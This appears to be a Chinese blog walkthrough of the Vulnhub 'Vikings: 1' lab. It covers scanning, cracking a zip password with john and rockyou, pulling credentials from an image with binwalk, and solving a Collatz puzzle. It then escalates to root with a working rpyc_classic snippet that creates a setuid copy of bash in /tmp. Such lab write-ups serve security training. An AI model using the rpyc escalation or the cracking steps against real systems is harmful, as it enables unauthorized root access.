Vikings -Vulnhub

靶机下载地址:Vikings: 1 ~ VulnHub

这个靶机和实战差距还是挺大的,很像CTF的类型

1.主机发现

arp-scan -l 

2.端口扫描

nmap -p 1-65535 -A 192.168.56.108

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 59:d4:c0:fd:62:45:97:83:15:c0:15:b2:ac:25:60:99 (RSA)
|   256 7e:37:f0:11:63:80:15:a3:d3:9d:43:c6:09:be:fb:da (ECDSA)
|_  256 52:e9:4f:71:bc:14:dc:00:34:f2:a7:b3:58:b5:0d:ce (ED25519)
80/tcp open  http    Apache httpd 2.4.29
|_http-title: Index of /
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2020-10-29 21:07  site/
|_
|_http-server-header: Apache/2.4.29 (Ubuntu)

OS details: Linux 4.15 - 5.6, Linux 5.0 - 5.4

3.目录扫描

个人喜欢直接使用dirsearch
dirsearch -u http://192.168.56.108/site/
没发现有用的信息,再试一下,扫目录一定不能佛系,再找个大字典尝试一下
gobuster dir -r -u http://192.168.56.108/site/ -x txt,html,php -w /usr/share/SecLists-master/Discovery/Web-Content/common.txt 

4.漏洞发现

进入页面是这种结果: /war-is-over 带有一个/ 难道是路径,继续访问,访问成功,一大堆字符。这么大的字符可能是文件,用kali的curl命令下载下来

 

这里还可以使用CyberChef来判断内容的属性。使用的entropy模块,如果大于7.5,那么就很可能是加密或者压缩的文件。

CyberChefhttps://cyberchef.org/

 

使用detect file Type 模块,先base64解密的内容查看文件类型。发现就是zip

解压发现需要密码,那么只能破解了。

使用工具:zip2john,将 daima 这个文件编码一下,写在hash中,然后使用大字典

cp /usr/share/wordlists/rockyou.txt.gz .
解压:gunzip rockyou.txt.gz

zip2john daima > hash
john hash --wordlist=rockyou.txt

 

解压后文件名是king 一张图片,看不出信息。

可能是隐写了,图片中存在信息。。使用工具steghide 直接输入安装,可以发现,需要密码。也不知道怎么去爆破。换种工具试试。发现了压缩文件

 

binwalk -e king     -e 提取  -B 测试

 

 

可以猜测出来,账户floki 密码f@m0usboatbuilde7

5.漏洞利用

登录

ssh floki@IP
输入密码

登录这账号试试。不知道密码,试不出来,试试sudo -s,不行

查看下信息,有什么,发现了两个文件

直接拿去翻译,看下boat

prime-number 素数,意思就是第29个素数

考拉兹猜想:一个正整数,奇数*3+1,如果是偶数,偶数/2,循环,最终都是得到1.

boat 中的意思是求第 29 个素数的 collatz-conjecture 结果,网上直接查的结果是109 。这里也写一下python代码的算法:

n = 0
for x in range(1000):
  if x < 2:
    continue
  h = int(x / 2) + 1
  for i in range(2,h):
      if x % i == 0:
          break
  else:
        n += 1
        print(n,":",x)

再写一个求出考拉兹猜想的结果,因为提示中提示了只能是可打印的数值,ascii编码的范围,所以在255之内。

def collatz(x):
        result = [109]
        while x != 1:
                if x % 2 == 1:
                        x = (3 * x) + 1
                else:
                        x = (x / 2)
                if x <= 255:
                        result.append(int(x))
        return result

print(collatz(109))

 

使用工具:先把十进制数据转化,再把他们转换成可打印出的字符。最后在经过把换行替换成一行,方便观察,结果:mR)|>^/Gky[gz=\.F#j5P(

 

6.提权

使用密码登录ragnar账号,刚登进去就要密码。sudo 的密码。尝试也失败了,这应该是一个自启动文件。

去找一下自启动的程序的文件描述:通常来说,自启动文件都在这几个之中,还有 .bash_profile 挨个看一看。

发现了自启动文件的源头了。。

$ /bin/bash -i       输入可以使/bin/sh 升级成/bin/bash的shell

查看那个文件的权限,不能修改,能修改的话可以反弹shell直接就是root,

这里发现在监听 18812 端口,网上查了一下发现 rpyc_classic 是不安全的:

 

这里将root权限直接复制过来:

import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
        import os
        os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')

fn = conn.teleport(getshell)
fn()

运行 bashroot 并查看flag:

另一种提权思路:

发现是 lxd 组里的,可以在这里提权。

输入lxd,lxc,可以使用。

这里下载失败了。然后就懒得尝试了。。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值